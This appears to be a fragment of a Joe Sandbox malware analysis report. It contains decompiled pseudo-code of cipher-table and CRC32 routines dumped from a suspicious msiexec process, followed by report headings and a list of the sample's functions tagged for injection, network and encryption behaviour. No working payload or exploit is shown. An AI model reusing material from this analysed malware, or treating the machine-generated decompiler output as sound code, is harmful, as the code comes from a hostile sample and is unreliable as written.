			E004FA3A0(signed long long __rcx, signed long long __rdx, long long __rdi, long long __rsi, void* __r8, void* __r10, long long __r14, long long __r15) {
				void* _t118;
				signed int _t120;
				intOrPtr _t151;
				intOrPtr _t162;
				unsigned long long _t174;
				unsigned long long _t175;
				void* _t178;
				void* _t179;
				signed long long _t180;
				signed long long _t181;
				long long _t182;
				long long _t186;
				long long _t190;
				void* _t194;
				void* _t197;
				signed long long _t198;
				void* _t199;
				void* _t202;
				long long _t203;

				_t203 = __r14;
				_t199 = __r10;
				_t186 = __rsi;
				_t182 = __rdi;
				_t181 = __rdx;
				_t180 = __rcx;
				_t179 = __r8;
				_t174 = 0x4f98a0;
				_t118 =  *0xFFFFFFFFD2BE0ADF();
				if(_t118 >= 0) {
					r10d = 0;
					_t120 =  *(__r8 + 0xf0) << 2;
					 *((long long*)(_t194 + 0x20)) = __r15;
					_t198 = _t120;
					if(_t120 <= 0) {
						L4:
						r15d = 1;
						if( *((intOrPtr*)(_t179 + 0xf0)) <= r15d) {
							L8:
							return 0;
						}
						 *((long long*)(_t194 + 0x40)) = _t190;
						 *((long long*)(_t194 + 0x48)) = _t186;
						 *((long long*)(_t194 + 0x50)) = _t182;
						 *((long long*)(_t194 + 0x28)) = _t203;
						_t202 = _t179 + 2;
						do {
							r8d =  *(_t202 + 0xe);
							_t202 = _t202 + 0x10;
							r15d = r15d + 1;
							r9d =  *(_t202 + 2);
							_t175 = _t174 >> 0x18;
							 *(_t202 - 2) =  *(0x50a2c1 + _t180 * 4) ^  *(0x5046d4 + _t175 * 4) ^  *(0xb2e2893 + _t180 * 4) ^  *(0x50a1c2 + _t180 * 4);
							r8d =  *(0xb2e2893 + _t181 * 4);
							r8d = r8d ^  *(0x50a2c1 + _t180 * 4);
							r9d =  *(_t202 + 6);
							r8d = r8d ^  *(0x5046d4 + _t180 * 4);
							r8d = r8d ^  *(0x50a1c2 + _t180 * 4);
							 *(_t202 + 2) = r8d;
							r8d =  *(0xb2e2893 + _t181 * 4);
							r8d = r8d ^  *(0x50a2c1 + _t180 * 4);
							r9d =  *(_t202 + 0xa);
							r8d = r8d ^  *(0x5046d4 + _t180 * 4);
							r8d = r8d ^  *(0x50a1c2 + _t180 * 4);
							 *(_t202 + 6) = r8d;
							r8d =  *(0xb2e2893 + _t181 * 4);
							_t174 = _t175 >> 0x18 >> 0x18 >> 0x18;
							r8d = r8d ^  *(0x50a2c1 + _t180 * 4);
							r8d = r8d ^  *(0x5046d4 + _t180 * 4);
							r8d = r8d ^  *(0x50a1c2 + _t180 * 4);
							 *(_t202 + 0xa) = r8d;
						} while (r15d <  *((intOrPtr*)(_t179 + 0xf0)));
						goto L8;
					}
					_t197 = __r8 + 8 + _t198 * 4;
					_t178 = __r8 + 8;
					do {
						_t162 =  *((intOrPtr*)(_t178 - 8));
						_t199 = _t199 + 4;
						_t151 =  *((intOrPtr*)(_t197 - 8));
						_t197 = _t197 - 0x10;
						 *((intOrPtr*)(_t178 - 8)) = _t151;
						_t178 = _t178 + 0x10;
						_t198 = _t198 - 4;
						 *((intOrPtr*)(_t197 + 8)) = _t162;
						 *((intOrPtr*)(_t178 - 0x14)) =  *((intOrPtr*)(_t197 + 0xc));
						 *((intOrPtr*)(_t197 + 0xc)) =  *((intOrPtr*)(_t178 - 0x14));
						 *((intOrPtr*)(_t178 - 0x10)) =  *((intOrPtr*)(_t197 + 0x10));
						 *((intOrPtr*)(_t197 + 0x10)) =  *((intOrPtr*)(_t178 - 0x10));
						 *((intOrPtr*)(_t178 - 0xc)) =  *((intOrPtr*)(_t197 + 0x14));
						 *((intOrPtr*)(_t197 + 0x14)) =  *((intOrPtr*)(_t178 - 0xc));
					} while (_t199 < _t198);
					goto L4;
				}
				return _t118;
			}

0x004fa3a0
0x004fa3a0
0x004fa3a0
0x004fa3a0
0x004fa3a0
0x004fa3a0
0x004fa3ad
0x004fa3b0
0x004fa3b6
0x004fa3ba
0x004fa3c6
0x004fa3c9
0x004fa3cc
0x004fa3d1
0x004fa3d6
0x004fa43d
0x004fa43d
0x004fa44a
0x004fa5dc
0x00000000
0x004fa5e1
0x004fa450
0x004fa45c
0x004fa468
0x004fa474
0x004fa495
0x004fa4b0
0x004fa4b0
0x004fa4b4
0x004fa4bd
0x004fa4c0
0x004fa4cc
0x004fa4fa
0x004fa508
0x004fa518
0x004fa525
0x004fa529
0x004fa537
0x004fa53c
0x004fa54a
0x004fa55a
0x004fa567
0x004fa56b
0x004fa579
0x004fa57e
0x004fa58c
0x004fa598
0x004fa59c
0x004fa5a9
0x004fa5b2
0x004fa5b7
0x004fa5bb
0x00000000
0x004fa5d7
0x004fa3dc
0x004fa3e0
0x004fa3f0
0x004fa3f0
0x004fa3f3
0x004fa3f7
0x004fa3fb
0x004fa3ff
0x004fa402
0x004fa40a
0x004fa40e
0x004fa415
0x004fa41c
0x004fa423
0x004fa42a
0x004fa431
0x004fa434
0x004fa438
0x00000000
0x004fa3f0
0x004fa5e8

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004F63C0, Relevance: .1, Instructions: 127

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FD440, Relevance: .1, Instructions: 59
Crypto

C-Code - Quality: 100%

			E004FD440() {
				signed int _t16;
				unsigned int _t18;
				unsigned int _t19;
				unsigned int _t20;
				unsigned int _t21;
				unsigned int _t22;
				unsigned int _t23;
				unsigned int _t24;
				signed char _t32;
				signed int* _t45;

				if( *0x513114 == 0) {
					 *0x513114 = 1;
					_t45 = 0x513120;
					_t32 = 0;
					do {
						_t18 = _t32 >> 1;
						if((_t32 & 0x00000001) != 0) {
							_t18 = _t18 ^ 0xedb88320;
						}
						if((_t18 & 0x00000001) == 0) {
							_t19 = _t18 >> 1;
						} else {
							_t19 = _t18 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t19 & 0x00000001) == 0) {
							_t20 = _t19 >> 1;
						} else {
							_t20 = _t19 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t20 & 0x00000001) == 0) {
							_t21 = _t20 >> 1;
						} else {
							_t21 = _t20 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t21 & 0x00000001) == 0) {
							_t22 = _t21 >> 1;
						} else {
							_t22 = _t21 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t22 & 0x00000001) == 0) {
							_t23 = _t22 >> 1;
						} else {
							_t23 = _t22 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t23 & 0x00000001) == 0) {
							_t24 = _t23 >> 1;
						} else {
							_t24 = _t23 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t24 & 0x00000001) == 0) {
							_t16 = _t24 >> 1;
						} else {
							_t16 = _t24 >> 0x00000001 ^ 0xedb88320;
						}
						 *_t45 = _t16;
						_t32 = _t32 + 1;
						_t45 =  &(_t45[1]);
					} while (_t32 < 0x100);
				}
				return _t16;
			}

0x004fd447
0x004fd44d
0x004fd454
0x004fd45b
0x004fd460
0x004fd462
0x004fd467
0x004fd469
0x004fd469
0x004fd470
0x004fd47b
0x004fd472
0x004fd474
0x004fd474
0x004fd47f
0x004fd48a
0x004fd481
0x004fd483
0x004fd483
0x004fd48e
0x004fd499
0x004fd490
0x004fd492
0x004fd492
0x004fd49d
0x004fd4a8
0x004fd49f
0x004fd4a1
0x004fd4a1
0x004fd4ac
0x004fd4b7
0x004fd4ae
0x004fd4b0
0x004fd4b0
0x004fd4bb
0x004fd4c6
0x004fd4bd
0x004fd4bf
0x004fd4bf
0x004fd4ca
0x004fd4d5
0x004fd4cc
0x004fd4ce
0x004fd4ce
0x004fd4d7
0x004fd4d9
0x004fd4db
0x004fd4df
0x004fd460
0x004fd4eb

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

AV Detection:

Cryptography:

Exploits:

Networking:

Boot Survival:

Remote Access Functionality:

Stealing of Sensitive Information:

Persistence and Installation Behavior:

Data Obfuscation:

Spreading:

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Anti Debugging:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Lowering of HIPS / PFW / Operating System Security Settings:

Language, Device and Operating System Detection:

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Joe Sandbox View / Context

IPs

Domains

ASN

Dropped Files

Screenshots

Startup

Created / dropped Files

Contacted Domains/Contacted IPs

Contacted Domains

Contacted IPs

Static File Info

General

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: GAygkOwh9t.exe PID: 100 Parent PID: 1080

Function 01375AC0, Relevance: 30.3, APIs: 15, Strings: 2, Instructions: 524
nativefileinjection

Function 01374B90, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 236
library

Function 01378FD0, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 219
threadnetwork

Function 0136A9D0, Relevance: 10.9, APIs: 7, Instructions: 381
filetime

Function 01379780, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96
encryptionthread

Function 01376700, Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 711
threadCrypto

Function 0136E7F0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38
encryption

Function 01377EC0, Relevance: 1.5, Strings: 1, Instructions: 224
Crypto

Function 01372DC0, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 296
registrytimefile

Function 01370170, Relevance: 6.2, APIs: 4, Instructions: 233
network